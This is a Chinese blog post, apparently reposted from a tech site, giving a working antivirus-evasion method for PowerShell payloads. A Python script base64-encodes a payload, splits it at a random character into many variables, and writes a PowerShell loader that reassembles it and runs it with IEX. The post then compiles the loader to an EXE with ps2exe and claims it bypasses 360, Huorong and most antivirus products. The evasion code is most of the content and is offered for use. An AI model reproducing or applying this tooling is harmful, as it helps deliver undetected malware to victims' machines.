PowerShell随机免杀结合ps2exe上线

简介: PowerShell随机免杀结合ps2exe上线

01     前  言


昨天在freebuf上看到了一篇文章,讲的是使用ps2exe将powershell.ps1文件,编译成为可执行的EXE文件.原文链接如下:


https://www.freebuf.com/articles/system/290918.html


于是想到自己之前的使用base64对powershell进行免杀,就想讲这两个结合起来玩一下.

02Powershell.ps1免杀


首先讲下如何对powershell.ps1进行免杀:


原先生成的powershell.ps1文件中的内容如下,很容易被杀软检测到.


我们需要做的是将他们整体Base64编码,而后进行加载,免杀后的powershell.ps1格式应该如下


$payload='原先powershell.ps1中内容base64编码后的内容'
$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload)
If ([IntPtr]::size -eq 8) {
IEX $testforwindow
}


按照这种思路,也是可以上线的,但是免杀效果不理想:




于是考虑将代码分离后再组合运行,代码逻辑如下:


$payload1='原先编码的某一部分'
$payload2='原先编码的另一部分'
$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload1+$payload2)
If ([IntPtr]::size -eq 8) {
IEX $testforwindow
}


按照这种思路我们进行了尝试,是可以上线的。但是有时候杀软记录了特征,如果一直固定分离成两个或者三个可能会失效。


于是做出了这样一个想法,随机生成a-z,A-Z,0-9中任意一个字符,将整个编码后的base64字符串进行一个切片,然后赋值给不同的变量,最后组合上线。


按照这个思路,编写了如下的Python代码:


#encoding:utf-8
import os
import sys
import re
import base64
import getopt
import random
def ShellMake():
    PATH=input("请输入Payload路径:")
    #读取文件
    with open (PATH,"r+") as payload:
        encode=payload.read()
    Before_encode=re.findall("function (.*)",encode,re.S)
    Tmp_encode="function "+Before_encode[0]
    Temp_encode=base64.b64encode(Tmp_encode.encode('utf-8'))
    After_encode=str(Temp_encode)
    After_encode=After_encode[2:-1]
    Split_Chr=random.randint(65,122)
    while Split_Chr >= 91 and Split_Chr<=96:
        Split_Chr=random.randint(65,122)
    Split_Chr=chr(Split_Chr)
    Final_encode=After_encode.split(Split_Chr)
    Len=len(Final_encode)
    Long_str=''
    for i in range(0,Len-1):
        Final_encode[i]=Final_encode[i]+Split_Chr
        Long_str=Long_str+"$Doit"+str(i)+"+"
    #写入新的ps1,此时已经免杀
    Long_str=Long_str[0:-1]+"+$Doit"+str(Len-1)
    Destion=input("请输入输出目标:")
    with open(Destion,"a+") as payload:
        payload.writelines("Set-StrictMode -Version 2 \n")
        for i in range(0,Len):
            payload.writelines("$Doit"+str(i)+"='"+Final_encode[i]+"'\n")
        payload.writelines("$testforwindow=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("+Long_str+")) \n")
        payload.writelines("If ([IntPtr]::size -eq 8) {"+'\n')
        payload.writelines("IEX $testforwindow"+'\n')
        payload.writelines("}")
ShellMake()


运行方式如下:



成功生成testfor.ps1文件,生成的文件结果每次都是随机.有时候生成的变量可能达到上百个。



经过Virustotal检测,已经过了很多杀软了:




03py2exe生成exe


ps2exe项目地址如下



https://github.com/MScholtes/PS2EXE.git

存在图形化操作界面,我们直接使用即可,成功生成Flash.exe文件



最终成功生成一个EXE文件,经测试绕过了360,火绒等绝大多数杀软,并且可以正常加载。




相关文章
|
安全 API 数据安全/隐私保护
Cobaltstrike4.0——记一次上头的powershell上线分析(三)
Cobaltstrike4.0——记一次上头的powershell上线分析
211 0
|
网络协议 网络安全
Powershell免杀(无文件落地免杀)
无文件落地 顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。 通过两种方式进行无文件落地的免杀,一种是出网的情况,另一种为不出网情况。 声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。
893 0
|
11月前
CS-Powershell免杀-过卡巴等杀软上线
CS-Powershell免杀-过卡巴等杀软上线
408 0
|
11月前
|
安全 Shell API
powershell红队免杀上线小Tips
powershell红队免杀上线小Tips
powershell红队免杀上线小Tips
|
11月前
|
数据安全/隐私保护
Powershell免杀系列(二)
Powershell免杀系列(二)
266 0
|
11月前
|
安全 数据安全/隐私保护 Windows
Powershell 免杀过 defender 火绒,附自动化工具
Powershell 免杀过 defender 火绒,附自动化工具
850 0
|
存储 安全 API
Cobaltstrike4.0——记一次上头的powershell上线分析(二)
Cobaltstrike4.0——记一次上头的powershell上线分析
300 0
|
Java API C#
Cobaltstrike4.0——记一次上头的powershell上线分析(一)
Cobaltstrike4.0——记一次上头的powershell上线分析
338 0
|
3月前
|
存储 Ubuntu Linux
windows可以安装Ubuntu,ubuntu上也可以安装Powershell
powerhsell除了可以在windows上使用外,还可以在Ubuntu上部署开发环境。下面介绍Ubuntu上安装powershell的方法。
53 0
|
5月前
|
Shell Linux 开发工具
windows中cmd和PowerShell批处理命令
之前在 Git 批量删除本地分支,有用到 Linux 或 MacOS 下的批处理命令,这个命令中的 grep、xargs 本身是 Shell script,在 windows 中的 cmd 和 PowerShell 中是不能用的
51 0